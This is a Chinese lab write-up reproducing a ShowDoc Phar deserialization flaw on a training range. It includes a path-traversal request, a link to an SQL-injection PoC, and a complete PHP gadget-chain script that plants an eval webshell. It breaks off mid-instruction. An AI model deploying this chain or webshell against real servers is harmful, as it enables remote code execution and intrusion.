漏洞复现 | Showdoc反序列化

发布于2024年7月13日2025年7月19日作者:cve-20

漏洞复现 | Showdoc反序列化

知识土拨鼠掌控安全EDU 2024-07-13 12:00

码领资料

获网安教程

本文由掌控安全学院 – 知识土拨鼠投稿

来Track安全社区投稿~

千元稿费！还有保底奖励~（https://bbs.zkaq.cn）

非常简单的一个靶场

靶场地址：https://hack.zkaq.cn/

打开靶场，弹出了这种登录框，这也成为了后面的一个坑点，记住这个登录框。

看到了注册功能，showdoc有注册功能我们就不用尝试前台SQL注入了，直接注册就行（题目中的SQL注入多少有点滑稽..）。如果平时遇到了showdoc没有注册功能的，师傅们可以用p牛大佬的注入exphttps://github.com/vulhub/vulhub/blob/master/showdoc/3.2.5-sqli/poc.py接着打靶，登录后台，来到文件库

尝试直接读取flag/server/index.php?s=/../../../../flag.txt直接爆出了绝对路径
拿我们开始准备生成Phar的脚本，exp.php:

<?php

namespace GuzzleHttp\Cookie{

    class SetCookie {
        private static $defaults = [
            'Name'     => null,
            'Value'    => null,
            'Domain'   => null,
            'Path'     => '/',
            'Max-Age'  => null,
            'Expires'  => null,
            'Secure'   => false,
            'Discard'  => false,
            'HttpOnly' => false
        ];
        function __construct()
{
            $this->data['Expires'] = '<?php @eval($_POST["cmd"]);?>';
            $this->data['Discard'] = 0;
        }
    }

    class CookieJar{
        private $cookies = [];
        private $strictMode;
        function __construct() {
            $this->cookies[] = new SetCookie();
        }
    }

    class FileCookieJar extends CookieJar {
        private $filename;
        private $storeSessionCookies;
        function __construct() {
            parent::__construct();
            $this->filename = "/var/www/html/server/3.php";
            $this->storeSessionCookies = true;
        }
    }
}

namespace{
    $pop = new \GuzzleHttp\Cookie\FileCookieJar();
    $phar = new \Phar("flag.phar");
    $phar->startBuffering();
    $phar->setStub('GIF89a'."__HALT_COMPILER();");
    $phar->setMetadata($pop);
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
}

本地启动phpstudy，把exp.php在本地环境运行

成功生成flag.php
注意：1.制作phar包时需要修改php.ini文件如下：